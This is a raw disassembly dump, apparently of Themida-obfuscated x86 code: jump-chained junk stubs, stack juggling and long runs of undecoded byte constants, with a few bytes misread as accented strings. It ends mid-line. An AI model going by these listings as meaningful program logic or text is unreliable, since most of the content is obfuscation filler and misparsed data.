--------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_56410C ; --------------------------------------------------------------------------- db 0FFh a4ZvicsF db '4$ZVćé]',0 dw 5B00h dd 24148B58h, 9B2E9h, 8C28100h, 68D4B8BAh, 2223h, 0BD242C89h dd 668D10AFh, 20C9E581h, 0E5C161B7h, 1956E906h, 0D8280000h dd 0A798E9h, 241C8700h, 8B79E9h db 0 ; --------------------------------------------------------------------------- loc_550621: ; CODE XREF: Themida_:0055DEBCj sub ch, 0BCh mov eax, [esp] add esp, 4 push edx push eax jmp loc_5636E8 ; --------------------------------------------------------------------------- loc_550631: ; CODE XREF: Themida_:00564364j mov esi, 6EAF2C66h add [esp+4], esi pop esi jmp loc_550420 ; --------------------------------------------------------------------------- dd 240C895Ch, 10C46850h, 14890000h, 82B55124h, 9C6864B2h dd 8900005Bh, 78B7241Ch, 0F7E9C7FEh, 0BF00000Ah, 3A436767h dd 12904E9h, 81F90100h, 0D007DEC1h, 0C875F10h, 14D8E924h dd 0EB010001h, 57C3015Dh, 10916852h, 0C15A3F5Eh, 0C9E908E2h dd 5D000039h, 0FCAC681h, 4E921F3h, 8F000085h, 895C2404h dd 8D682434h, 89000058h, 0E9522424h, 84D4h, 815E5456h dd 4C6h, 4B85000h, 1000000h, 348758C6h, 48F5C24h, 24248B24h dd 0E9240489h, 0FFFFFD48h, 8152D6F7h, 4ECh, 24348900h dd 8124148Bh, 4C4h, 56E95E00h, 54000136h, 3926859h, 0D6E90000h db 84h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5506FF: ; CODE XREF: Themida_:005607D2j xor edi, [esp] pop esp jmp loc_55A943 ; --------------------------------------------------------------------------- dd 8B24048Fh, 0D682424h, 89000044h, 34FF241Ch, 24048B24h dd 5585450h, 4, 4BA52h, 0BB530000h, 68B4686Eh, 9730AC2Dh dd 4193E945h, 5C010001h, 0ABE90424h db 1Dh, 1, 0 ; --------------------------------------------------------------------------- loc_550743: ; CODE XREF: Themida_:00552999j mov eax, 52556548h dec eax add eax, 6D3FC22h xor edi, eax pop eax add edi, 5319C25h sub esi, edi pop edi push ecx jmp loc_554FA5 ; --------------------------------------------------------------------------- dd 7C7FEE81h, 0EE813385h, 84B45482h, 0E95EF301h, 0BECEh dd 0E617E95Ah, 89510000h, 0BC95E9E1h, 0C4810000h, 4, 2B951h dd 0CF010000h, 81240C8Bh, 4C4h, 243C3300h, 33243C31h, 665C243Ch dd 57240C8Bh, 243C8B54h, 0A0F3E9h, 0E9F72900h, 1F3Ah, 81D3F74Bh dd 4B2B85C3h, 81DBF73Bh, 6858A1C3h, 5BDE01FEh, 8B2434FFh dd 0C4812404h, 4, 0E904C483h, 13F7Eh, 0E9E9F320h, 4000033h dd 34D0F601h, 7E7EE9AFh, 0C9810000h, 2C1F5470h, 7E7AE981h dd 0C889BEDFh, 12BC1E9h, 5FFD8900h, 204B2705h, 16DD0516h dd 0BA520430h, 2AD931B7h, 295AD001h, 31B72DE8h, 4AE92AD9h db 3Ch, 1, 0 ; --------------------------------------------------------------------------- loc_550827: ; CODE XREF: Themida_:00553015j sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] jmp loc_559D3F ; --------------------------------------------------------------------------- loc_550846: ; CODE XREF: Themida_:0055C5DAj add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_55B44D ; --------------------------------------------------------------------------- aFzaSsgz db 'fZÉségz',0 align 10h dd 83240C8Bh, 0EC8104C4h, 4, 13DF5E9h, 0EDC15800h, 75ED8103h dd 102758Eh, 0E9525DEFh, 0A43h, 0BDFDE95Eh, 0EC810000h dd 4, 0BA241489h, 4, 12B22E9h, 0FB7EE900h, 3C89FFFFh, 515F5424h dd 0E3197EB9h, 7AE98178h, 178E319h, 26E0E9CFh, 0F7810001h dd 74D28BD4h, 535FFB01h, 42474FFh, 24048F5Bh, 7E17E9h dd 240C8B00h, 52E08950h, 826F9FBAh, 9BF28128h, 0E928826Fh dd 14B0Eh, 240C8B54h, 4C481h, 0EC810000h, 4, 0BA241489h dd 36D46439h, 36BEE94Ah, 0EDC00000h, 27F58003h, 0E910CD80h dd 0A648h, 4240481h, 5F000000h, 4C781h, 8BE90000h, 0F6000126h dd 51C680D6h, 0E95AF328h, 0D755h, 0FA885250h, 4C95E9h dd 4C68100h, 81000000h, 4C6h, 1203E900h, 0C1810000h, 0FDF37B74h dd 6A523E05h, 53C80162h, 6A523EBBh, 78E5E962h, 0AFBF0000h dd 81724E07h, 0CA2052C7h, 0B6E78144h, 814F752Bh, 8E542CEFh dd 5F5D5742h, 453AE9h db 0 ; --------------------------------------------------------------------------- loc_550985: ; CODE XREF: Themida_:00559CFEj add esp, 4 add dword ptr [esp+4], 6E6863A8h add [esp+4], ebx sub dword ptr [esp+4], 6E6863A8h pop ebx jmp loc_5541F8 ; --------------------------------------------------------------------------- db 89h, 0F5h, 5Eh dd 89EE8956h, 815D5EF7h, 0D706BDC6h, 81FE292Fh, 0D706BDEEh dd 243C8B2Fh, 1240BE9h, 80F12800h, 4BE983E9h, 5400001Ah dd 40558h, 0C0830000h, 24048704h, 490FE9h db 0 ; --------------------------------------------------------------------------- loc_5509E1: ; CODE XREF: Themida_:0056074Bj inc edx push esi mov esi, 0AD594Fh or edx, esi mov esi, [esp] push 119h mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_560C28 ; --------------------------------------------------------------------------- dd 0E95EF001h, 0D247h, 0BD242C89h, 4, 515DE901h, 42474FFh dd 24048F59h, 907685Ch, 34890000h, 4BE24h, 95E90000h, 50000120h dd 805D01B8h, 28BD5537h, 2935501Ah, 0C1295DE9h, 1A28C181h dd 48B3550h, 4C48124h, 81000000h, 4FB862F1h, 0E9C831BAh dd 0CB98h, 5B545359h, 4C381h, 68570000h, 7C4Eh, 68243489h dd 646570CAh, 8324348Bh, 515004C4h, 0EB78DEB9h, 0E9C1495Eh dd 0EAC18105h, 8125D417h, 88C5B7C1h, 0FE8E9E8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550A9E: ; CODE XREF: Themida_:00565B31j sub ebx, 1957F20h push 7595h mov [esp], ebp mov ebp, 40212164h sub ebx, ebp pop ebp jmp loc_551A01 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 9C242CD2h, 0FFFDD8E9h, 0C68146FFh, 187E09B6h, 315EF529h dd 242C8BE9h, 8104C483h, 490ADBC9h, 81E1D119h, 5E127FC1h dd 0E9CB095Ah, 855Ah ; --------------------------------------------------------------------------- loc_550AEC: ; CODE XREF: Themida_:005531E4j add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_55980D ; --------------------------------------------------------------------------- dd 0C681DEF7h, 78223D04h, 34FFF201h, 54565E24h, 4C6815Eh dd 83000000h, 348704C6h, 17E95C24h db 0, 1, 0 ; --------------------------------------------------------------------------- loc_550B23: ; CODE XREF: Themida_:00557728j pop ebx mov eax, [esp] jmp loc_5645E7 ; --------------------------------------------------------------------------- dd 9F13D1BAh, 0E9D10106h, 5204h, 468h, 24348B00h, 4C481h dd 0A1E90000h, 2900001Bh, 3E958C5h, 10000F9h, 0BA525EF7h dd 4, 2567EF81h, 0D7291128h, 2E30E9h, 0E1895100h, 4C181h dd 0C1810000h, 4, 8B240C87h, 5B662424h, 7EAA6866h, 3BC7E9h dd 2434FF00h, 582434FFh, 10315E9h, 24248900h, 4240483h dd 5B2434FFh, 8904EC83h, 0E589242Ch, 0D4F4E9h, 359ABA00h dd 0BF5768F7h, 48BE7AD5h, 64B0EF81h, 0FA21386Eh, 5EAC15Fh dd 0AAB6C281h, 0DC053A84h, 2911D605h, 5DC2DD0h, 34FF11D6h dd 0C4815A24h, 4, 2853B951h, 0C82904F3h, 15CE9h, 88ADB500h dd 2FA8E9ECh, 1C890000h, 1BE5624h, 89000000h, 89555EF3h dd 0BFB8E9DDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_550C0A: ; CODE XREF: Themida_:0055703Bj add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp shr ecx, 7 push ecx mov ecx, esp push ebp jmp loc_55B7E5 ; --------------------------------------------------------------------------- dw 50BBh dd 0F764A85Ah, 96C381D3h, 17E389Eh, 0F7815BDFh, 8CC22740h dd 8904EC83h, 0BD552414h, 756422E2h, 708E9h, 5BDE0100h dd 0E904EC83h, 77B3h, 2EC81ACh, 66000000h, 0B1240C89h dd 1DD3E92Eh, 77FF0001h, 0F7AEE940h, 0E901FFFFh, 59CF015Dh dd 0E95FFA89h, 12B37h, 8B2434FFh, 54552404h, 13A58E9h dd 241C8900h, 3360DBBBh, 60E38178h, 813FC06Bh, 0EA3C12F3h dd 8BDA8938h, 0C481241Ch, 4, 4752E281h, 0EA811294h, 0D02511F3h dd 8904EC83h, 0DFB9240Ch, 8151493Ch, 4ECh, 24348900h, 712615BEh dd 5EF1011Fh, 0CB5FE9h, 0B0ED8100h, 16E4D5Fh, 0B0C581DDh dd 816E4D5Fh, 70789CC5h, 0C5815B0Fh, 4, 8B242C87h, 0E9F72424h dd 79F068h, 2777E900h, 0E1890000h, 4C181h, 0C1830000h dd 240C8704h, 2434FF5Ch, 8124048Bh, 4C4h, 0F000E900h, 0C890000h dd 0CE685024h, 8B58112Fh, 0C4812404h, 4, 0AC4A0035h, 25D6E904h dd 0E0890001h, 0DF2EE9h, 43055900h, 2D0C9D06h, 6E917A1Bh dd 1B05D829h, 0E96E917Ah, 3EADh, 158C189h, 1EAAE9CEh, 0DAF70000h dd 0E907E2C1h, 0D9Ah, 0EC80C4FEh, 0E9E288D0h, 1190Ah, 0FF3877FFh dd 0C8B2434h, 0A947E924h, 0E6890000h, 4C681h, 0BA520000h dd 4, 565AD629h, 42474FFh, 8124348Bh, 4C4h, 0A775E900h dd 0C2810000h, 4, 8704EA83h, 46E92414h, 8B0000C4h, 0F7892424h dd 684F5Eh, 29000000h, 0C1E9243Ch db 33h, 1, 0 ; --------------------------------------------------------------------------- loc_550DD7: ; CODE XREF: Themida_:0055161Ej push dword ptr [esp] jmp loc_55B91E ; --------------------------------------------------------------------------- db 81h dd 1814B1CBh, 0D5E939h, 59660000h, 0EE80EE28h, 3E95E9EDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_550DF6: ; CODE XREF: Themida_:00552C01j xor bl, dh jmp loc_554498 ; --------------------------------------------------------------------------- aYrs db 'YRé!Đ',0 align 4 loc_550E04: ; CODE XREF: Themida_:00565CA4j add esi, 644271F5h add esi, 49DA35BBh push edi mov edi, 12592853h inc edi dec edi xor edi, 62940254h and edi, 170517DBh jmp loc_55B584 ; --------------------------------------------------------------------------- db 0E9h, 0F2h, 0F5h dd 2C5AFFFFh, 4C8283Ch, 12B1513Ch, 5096E980h, 0FCE9F9B4h dd 0AD0000D2h, 0E2CBE56h, 0EEC14534h, 95CE903h, 3C8B0001h dd 0CD58E924h, 95F0000h, 242C8BEBh, 4C481h, 0B9510000h dd 195116EEh, 75FCBD55h, 71E91C68h, 8900013Ch, 4C381E3h dd 81000000h, 4C3h, 241C3300h, 33241C31h, 505C241Ch, 198EE954h dd 4330001h, 24248B24h, 4BB0F66h, 10E99C24h, 8300001Fh dd 76E904C4h, 5C0000CDh, 9C240CD3h, 0FFF567E9h, 0E1E952FFh dd 8100014Ah, 3655F9F3h, 33EB8117h, 89200EB2h, 241C8BD8h dd 8FEBE9h, 7F36800h, 2C890000h, 4BD24h, 0EE010000h, 2434335Dh dd 10FA7E9h, 2434FF00h, 51DF6859h, 3C890000h, 8B545124h dd 0C483240Ch, 4C18104h, 81000000h, 4E9h, 240C3300h, 117CCE9h dd 0BA2D5B00h, 164C22Ah, 2ABA05D0h, 875A64C2h, 665C2404h dd 6866F9F7h, 89663D44h, 0F7E92414h, 0FF000143h, 0F5E93C77h dd 0B2000089h, 3BB2526Dh, 0EA80D2F6h, 0E9525001h, 3761h dd 295DEE01h, 50405EF0h, 58241CF7h, 5B6C705h, 58C689E9h dd 8EBA5246h, 4244D177h, 8107EAC1h, 4ECh, 242C8900h, 39E368h dd 243C8900h, 5D5D21BFh, 3DFAE91Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_550F8A: ; CODE XREF: Themida_:00561F37j pop esi jmp loc_556EB5 ; --------------------------------------------------------------------------- aRst db 'Rét',7,0 align 2 dw 0F181h dd 0E05B94B6h, 0CE9CF89h, 51000068h, 0B850E189h, 4, 8358C101h dd 0C8704C1h, 1C8B5C24h, 0F2685024h, 8900000Ch, 0F1E92424h dd 8100011Ah, 734AC3C5h, 243C8B68h, 4C481h, 2C870000h dd 35E95C24h, 35h, 76E950C3h db 44h, 1, 0 ; --------------------------------------------------------------------------- loc_550FE7: ; CODE XREF: Themida_:00551BA6j add edi, 4 xchg edi, [esp] jmp loc_565ACF ; --------------------------------------------------------------------------- loc_550FF2: ; CODE XREF: Themida_:0055792Cj push 7BDh mov [esp], ebp mov ebp, 4 add ebx, 1DF07CE8h push esi mov esi, 41D212A2h sub esi, 5A5816EAh jmp loc_55B897 ; --------------------------------------------------------------------------- dw 685Ah dd 1771h, 137C7E9h, 5359BB00h, 0E4E9437Eh, 81000099h, 4C3h dd 4BA5200h, 1000000h, 1C875AD3h, 4A45E924h, 1050001h dd 0E9000000h, 8168h, 0B3241C89h, 5CB65276h, 0E996C680h dd 0FFFFF784h, 0CD743AB8h, 84B9517Fh, 1262F3Fh, 240C8BCFh dd 4C481h, 0C7290000h, 718EE951h, 0ECC00000h, 7BC48003h dd 0E958E300h, 42F2h, 0C281E289h, 4, 0EDF1E9h, 8BDF2900h dd 0C481241Ch, 4, 1123B951h, 0CE017952h, 6661E959h, 67680000h dd 89000018h, 51502414h, 0D725C1B9h, 90D2B87Fh, 4E0591FCh dd 2913D725h, 254E2DC8h, 0BA5913D7h, 0EDDA9513h, 5758C201h dd 0EE7C35BFh, 0E9FA0155h, 0C4h, 4E981h, 0CAE90000h, 5000120h dd 4, 0E904C083h, 12A87h ; --------------------------------------------------------------------------- loc_5510FC: ; CODE XREF: Themida_:00554962j pop dword ptr [esp] pop esp jmp loc_56277B ; --------------------------------------------------------------------------- db 5Ch, 8Bh, 34h dd 3D11E924h, 4BE0000h, 1000000h, 14875EF2h, 0E9565C24h dd 9DF7h ; --------------------------------------------------------------------------- loc_551120: ; CODE XREF: Themida_:00565B16j add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_55C039 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 8AE5E9h, 48F5E00h, 0F0215C24h, 0E924348Bh, 9F6Bh, 47EB8158h dd 5577986Dh, 49EA6BDh, 216DE9CAh, 0E7800001h, 1B55187h dd 0CEE9D5F6h db 43h, 1, 0 ; --------------------------------------------------------------------------- loc_551167: ; CODE XREF: Themida_:0055A1D5j sub esi, 0BEA510FDh mov ebx, esi mov esi, [esp] add esp, 4 not ebx shl ebx, 2 neg ebx push edi push ecx jmp loc_56512C ; --------------------------------------------------------------------------- db 83h dd 248904ECh, 4B85024h, 1000000h, 58042444h, 5A2434FFh dd 1C1768h, 24048900h, 0E957E089h, 3CB3h, 81FA015Fh, 0EE7C35EAh dd 3D8D6855h, 39E90000h db 0ACh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5511BB: ; CODE XREF: Themida_:00553073j sub edx, 0B99E861Ch add ecx, edx pop edx sub ebx, ecx jmp loc_55FC31 ; --------------------------------------------------------------------------- loc_5511CB: ; CODE XREF: Themida_:0055957Fj sub ebp, ecx pop ecx sub ebp, 0C3250B29h jmp loc_55E39B ; --------------------------------------------------------------------------- db 81h, 0EAh, 0ECh dd 0E97D7911h, 0FFFFF23Ch ; --------------------------------------------------------------------------- loc_5511E4: ; CODE XREF: Themida_:00559496j mov [esp], eax mov eax, 0AD0390Ch mov edi, 0AD03908h xor edi, eax jmp loc_559389 ; --------------------------------------------------------------------------- dd 1D0E4405h, 6089054Dh, 34FF2D20h, 3B7EE924h db 1, 0 ; --------------------------------------------------------------------------- loc_55120A: ; CODE XREF: Themida_:00563148j and edx, 5C5B307Eh push ecx mov ecx, esp jmp loc_5659A9 ; --------------------------------------------------------------------------- dd 0F9C3E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55121E: ; CODE XREF: Themida_:005578CEj sub esi, 75A25212h add esi, edx jmp loc_5576E9 ; --------------------------------------------------------------------------- db 0BEh dd 0B612B8Eh, 15EF729h, 977CE9F7h, 0FF510000h, 835F2434h dd 0C8B04C4h, 4C48124h, 0F7000000h, 81CF87D1h, 0B09A2E7h dd 0D0F7972Bh, 37F76897h, 1C890000h, 0B2DBB24h, 0BA5263ABh dd 0F1A7D78h, 0E4E9D321h, 8900011Ch, 0B7E92434h, 8100009Ch dd 6151242Ch, 515F16EDh, 0ED6151B9h, 59CF0116h, 0F6F7815Bh dd 0E954F1ECh, 12BE1h, 104C483h, 1693E9D8h, 0EE830001h dd 24348704h, 8924248Bh, 43BE2434h, 0E95CB215h, 0ABA7h ; --------------------------------------------------------------------------- loc_5512B8: ; CODE XREF: Themida_:00564F74j sub ebp, eax pop eax push ebp jmp loc_565081 ; --------------------------------------------------------------------------- loc_5512C1: ; CODE XREF: Themida_:005520C0j pop esi jmp loc_5542F3 ; --------------------------------------------------------------------------- db 0BAh dd 21991B8Bh, 118EF281h, 0EA810DC2h, 2C5B0A01h, 12DFCE9h dd 51BBB800h, 682CAEh, 29000000h, 0B8E92404h, 5000036h dd 150877A9h, 0AE544D05h, 0E36E900h, 0C4830000h, 241C8704h dd 7C7FE9h, 24348B00h, 0B7AFE9h, 0D8296600h, 13DE0E9h dd 0F12CAC00h, 5806E9h db 0 ; --------------------------------------------------------------------------- loc_551321: ; CODE XREF: Themida_:00556333j sub esp, 4 jmp loc_553EDE ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0E9241489h, 0CB1Bh, 850014B9h, 186AE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55133E: ; CODE XREF: Themida_:00564BC8j mov eax, [ebx] push dword ptr [esp] jmp loc_55A985 ; --------------------------------------------------------------------------- dd 0FFF0D3E9h, 242C8BFFh, 10E8E9h, 3F58100h, 0E914F276h dd 9C56h, 81EB8143h, 81656865h, 0C70226F3h, 5BDA01A0h dd 7F2068h, 240C8900h, 4B9h, 59CA0100h, 6C4368h, 24148900h dd 42474FFh, 0BDAFE95Ah, 33BA0000h, 1255925h, 685D5AD0h dd 2A9Ah, 55240C89h, 701FD1BDh, 7EE94D76h, 55000146h, 0E92434FFh dd 9B03h, 24448166h, 6614A102h, 37E7E950h, 0C0FE0001h dd 0CBE9530Ch, 8B00011Ch, 49E92424h, 51FFFFF0h, 563FBF57h dd 0F9896C82h, 0E92434FFh, 50Eh ; --------------------------------------------------------------------------- loc_5513E8: ; CODE XREF: Themida_:0055B668j xchg edi, [esp] pop esp jmp loc_561736 ; --------------------------------------------------------------------------- db 89h, 4, 24h aIrwsn db 'ŕWéN)',0 align 4 dd 190DC281h, 0F2814833h, 70517253h, 6E49C281h, 0C281320Dh dd 0B71AF9B4h, 15AD129h, 1DBA52C1h, 1081A5Bh, 83585AD1h dd 0C8704E9h, 4895C24h, 4B824h, 0B9510000h, 343C6FD3h dd 0E54E9h, 0C8B6600h, 6C5B6824h, 14890000h, 4EC8124h dd 0E9000000h, 1CFh, 464A055Eh, 15E91397h, 5A000127h, 4EC8356h dd 0BA241489h, 0F620990h, 8904EC83h, 14F72414h, 0DAF75A24h dd 4EC81h, 7DE90000h, 54000057h, 6824048Fh, 7EA2h, 0FFF055E9h db 0FFh ; --------------------------------------------------------------------------- loc_551491: ; CODE XREF: Themida_:0055EB7Bj mov ecx, 67E82E50h add ecx, 0BF98504Dh add ebx, ecx mov ecx, [esp] add esp, 4 jmp loc_55A023 ; --------------------------------------------------------------------------- db 5Fh, 29h, 0DDh dd 81241C8Bh, 4C4h, 2334E900h, 61E90000h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5514BF: ; CODE XREF: Themida_:00552D50j add ebx, 49935F38h pop esi add ebx, 4 push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] shr eax, 10h xor eax, ecx xor eax, ecx jmp loc_55EDD6 ; --------------------------------------------------------------------------- loc_5514E6: ; CODE XREF: Themida_:0055DE4Aj pop eax jmp loc_56189F ; --------------------------------------------------------------------------- dd 4C481h, 0E5280000h, 582434FFh, 5341E950h, 0D2F60000h dd 0CA80D2F6h, 10C28055h, 94B6E9h, 2BBF0500h, 0C4353DBEh dd 0E9657B55h, 0DEEEh, 57241C8Bh, 0C4E9E789h, 10000A4h dd 0F68159CEh, 0EE6F2305h, 895EF529h, 0F7015DEEh, 243C335Eh dd 0E9243C31h, 12616h ; --------------------------------------------------------------------------- loc_551544: ; CODE XREF: Themida_:00552601j xor edx, [esp] pop esp push edi jmp loc_553E88 ; --------------------------------------------------------------------------- loc_55154E: ; CODE XREF: Themida_:0055B6EAj mov edi, 14AB181Ah xor edi, 44CB4B5Eh mov eax, edi pop edi xor eax, ebx xor ebx, eax xor eax, ebx push ebx not dword ptr [esp] pop ebx xchg eax, ebx push edi push edx push eax jmp loc_557824 ; --------------------------------------------------------------------------- dd 17B768h, 24048900h, 0E95273B8h, 4753E913h, 48B0000h dd 1AF9E924h, 3C870000h, 4895C24h, 0B2B95124h, 681EC033h dd 33CAh, 0BA241489h, 439C5E06h, 792EA81h, 0D1310E67h dd 0E9D9F75Ah, 0CDC5h, 815FF801h, 4ECh, 243C8900h, 4BFh dd 0FFF82900h, 3C8B2434h, 6F80E924h, 0A1BB0000h, 8365486Dh dd 48904ECh, 1817B824h, 102D2607h, 35016308h, 6F274A17h dd 4B90BF57h, 0E78119BEh, 74FC4B14h, 6F7ECF81h, 0EF830FA6h dd 81D7F701h, 40EC05C7h, 15B6E96Fh db 1, 0 ; --------------------------------------------------------------------------- loc_55160E: ; CODE XREF: Themida_:00561B4Aj pop ebp add ebx, eax add [ebx], ecx pop ebx push dword ptr [esp] pop eax add esp, 4 jmp loc_550DD7 ; --------------------------------------------------------------------------- db 89h dd 4832424h, 685A0424h, 59B6h, 0E9241C89h, 3356h, 2858C580h dd 5966E8h, 0A36852D8h, 0E9000012h, 1251Dh ; --------------------------------------------------------------------------- loc_55164C: ; CODE XREF: Themida_:0055A6B3j pop edx add ebx, 2E776209h push eax mov eax, 7EB73787h jmp loc_5625EB ; --------------------------------------------------------------------------- dd offset dword_53EE34+4Ch dw 0E9F3h dd 122A4h, 33241431h, 248B2414h, 14896624h, 9C506624h dd 0FFEDA3E9h, 81D3F7FFh, 942BAC3h, 0FBEFE918h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55168A: ; CODE XREF: Themida_:00552CDEj mov [edi+eax*4+1], dh jmp loc_556CE1 ; --------------------------------------------------------------------------- db 0BDh dd 0E90B041Bh, 7BE9E929h, 87000075h, 545C243Ch, 6824048Fh dd 7158h, 89243C89h, 4C781E7h, 83000000h, 3C8704EFh, 3C895C24h dd 4EC8324h, 0B9240C89h, 27A16653h, 0A16657BFh, 59CF2927h dd 4247C01h, 5F2434FFh, 4C481h, 815D0000h, 4C5h, 2BF5700h dd 57000000h, 0E3FB1BFh, 0CF81473Eh, 602407D2h, 0CA0EEF81h dd 0FD0109C8h, 0FA7E95Fh, 2BA0000h, 0E906AD23h, 11516h dd 2EC8359h, 24148966h, 839CB151h, 48904ECh, 0CEAAE924h dd 0C0830000h, 1EF3E904h, 80B40001h, 5066FFB1h, 4EE95352h dd 890000ADh, 0E389241Ch, 4C381h, 0EE680000h, 8900002Dh dd 0E9562414h, 0D72Ch, 0C95EA81h, 0EC830705h, 650DE904h dd 0EB810000h, 28FF46ACh, 114EE9h, 0C8B6600h, 4EC8324h dd 89241489h, 4C281E2h, 52000000h, 0B850E289h, 4, 8158C201h dd 4EAh, 24143300h, 0E9241431h, 0B853h, 64CCE681h, 0CE8121E8h dd 0BBA2A86h, 583BEE81h, 0E6C1218Eh, 0AEEE8106h, 292FB628h dd 8CE95EF0h, 51000088h, 0C181E189h, 4, 13622E9h, 89BB5300h dd 0E92D2060h, 1AD1h, 643068h, 241C8900h, 1E54E9h, 0FED8F600h dd 347134C0h, 66C1302Ch, 9BC18058h, 88CF8853h, 13B9E9F8h dd 505C0001h, 0F23FE9h, 0C7815900h, 4, 8B243C87h, 0C4832424h dd 35E3E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55181E: ; CODE XREF: Themida_:005560B8j push edx mov dl, 18h mov bl, dl mov edx, [esp] add esp, 4 jmp loc_555F1A ; --------------------------------------------------------------------------- db 0F7h, 0D5h, 0E9h dd 0D991h ; --------------------------------------------------------------------------- loc_551838: ; CODE XREF: Themida_:00563797j xor eax, 257B3A5Eh jmp loc_55BC31 ; --------------------------------------------------------------------------- dw 0C33h dd 240C3124h, 8B240C33h, 34FF2424h, 0E2E95924h, 460000A3h dd 0CE81E6D1h, 577A3D59h, 0C681DEF7h, 0FD27F673h, 2CE9F029h dd 660000A2h, 6D0566ADh, 0B12D663Fh, 0FA93E958h, 34FFFFFFh dd 0B3E95087h, 520000A9h, 88D2B450h, 8C9BE9E6h, 88BA0000h dd 8112DE68h, 0FC4073C2h, 75EA8173h, 0E92B573Ah, 975Eh dd 505BD801h, 42474FFh, 8324048Bh, 48F04C4h, 24248B24h dd 0F66F9F6h, 0E952CCB6h, 0FEC0h, 804FF480h, 5152AEF4h dd 0EE88E588h, 83240C8Bh, 0F78804C4h, 0E924148Bh, 0ED03h dd 3E8468h, 241C8900h, 0BBh, 0E38CE900h, 0E95F0000h, 11E22h dd 8704C083h, 815C2404h, 28000AEBh, 50EB812Ch, 687E8824h dd 43CFh, 0EFADE9h, 53425900h, 0EC4002BBh, 0F7D3F75Eh dd 8E66E9D3h, 88510000h, 59EA88FDh, 0E9241C8Bh, 1FC7h dd 0E924048Fh, 11E66h ; --------------------------------------------------------------------------- loc_551940: ; CODE XREF: Themida_:005639AEj add ebp, 264D1577h pop edx sub ebp, 0C93D688Ah push 4062h mov [esp], ebp jmp loc_564369 ; --------------------------------------------------------------------------- dw 8951h dword_55195C dd 4C181E1h, 53000000h, 4BBh, 296DE900h ; DATA XREF: Themida_:0055624Eo db 2 dup(0) ; --------------------------------------------------------------------------- loc_55196E: ; CODE XREF: Themida_:00551A03j add ebx, 40212164h jmp loc_55AF69 ; --------------------------------------------------------------------------- aZ4SS db '4$éŔ',0 dd 6CBD5500h, 8129276Bh, 0EC0C1BEDh, 27ED8118h, 4573C32Dh dd 0E17EED81h, 0EB0199A3h, 81242C8Bh, 4C4h, 81C30100h dd 0D450ADEBh, 74685702h, 0E900006Eh, 7C77h, 0E9CDF680h dd 0D54Fh, 8324148Bh, 806804C4h, 8900007Eh, 0E589242Ch dd 4C581h, 0ED830000h, 242C8704h, 243C895Ch, 0FB89CF89h dd 0C8CDE9h db 0 ; --------------------------------------------------------------------------- loc_5519E9: ; CODE XREF: Themida_:0055939Bj jmp loc_550420 ; --------------------------------------------------------------------------- aIsps db 'áPéÝĐ',0 align 2 loc_5519F6: ; CODE XREF: Themida_:005563DFj mov esp, [esp] mov fs:[edx], al jmp loc_550420 ; --------------------------------------------------------------------------- loc_551A01: ; CODE XREF: Themida_:00550AB4j sub ebx, ebp jmp loc_55196E ; --------------------------------------------------------------------------- dd 42474FFh, 1276BE9h, 0AEED8100h, 8143673Eh, 0E6ED30F5h dd 83EE819Bh, 141E62Bh, 83C681EEh, 8B41E62Bh, 0C483242Ch dd 74EE8104h, 0BF1810F8h, 1E47EE45h, 2EEBD55h, 0EF015BB2h dd 2B69E95Dh, 0C890000h, 81E18924h, 4C1h, 4E98100h, 87000000h dd 248B240Ch, 240C8924h, 0FFEA55E9h, 24048FFFh, 6624248Bh dd 0E9240489h, 0FFFFE9A8h, 5866C630h, 0FECFEE80h, 0FBD8E9CEh dd 0C889FFFFh, 4E0C159h, 873ACA0Dh, 0ABBA527Bh, 937AF21h dd 2434FFD0h, 4C4815Ah, 0E9000000h, 0E45Ah ; --------------------------------------------------------------------------- loc_551AA8: ; CODE XREF: Themida_:00557E69j sub ebx, ebp mov ebp, ebx pop ebx and ebp, 5B567E58h xor ebp, 37FF38C6h add ebx, ebp pop ebp dec ebx push esi mov esi, 0B0E4FF1h and ebx, esi mov esi, [esp] add esp, 4 jmp loc_563426 ; --------------------------------------------------------------------------- dd 87DD875Bh, 45E9242Ch, 500000F0h, 2250F1B8h, 0D0F7404Dh dd 4F59E35h, 58C589DFh, 815DEE89h, 6D4196CEh, 50554E42h dd 922AE9h, 0F2816600h, 66516F4Fh, 6612F0B9h, 994E941h dd 0E2810001h, 26E14B57h, 36E3CA81h, 0E8E967ACh, 0BE000021h dd 37980DB8h, 10F2AE9h, 243C8B00h, 10ABE9h, 0DED8000h dd 8088F580h, 0E80004F5h, 2CD00059h, 0ECB6527Fh, 896CE9h db 0 ; --------------------------------------------------------------------------- loc_551B49: ; CODE XREF: Themida_:005573CDj mov [esp], esi jmp loc_55FF64 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 590CE95Ch, 148B0000h, 4C48324h, 0C0E9F001h, 58000055h dd 0E9241C87h, 0D327h, 0E904C483h, 0FFFFFDE2h, 0DD2D5DBFh dd 928CE95Fh, 0E0890000h, 7433E9h db 0 ; --------------------------------------------------------------------------- loc_551B89: ; CODE XREF: Themida_:0055BC2Cj xchg edx, esi not edx xchg edx, esi sub esp, 4 mov [esp], eax jmp loc_5585B6 ; --------------------------------------------------------------------------- loc_551B9D: ; CODE XREF: Themida_:00563FC7j push edi push esp pop edi add edi, 4 jmp loc_550FE7 ; --------------------------------------------------------------------------- db 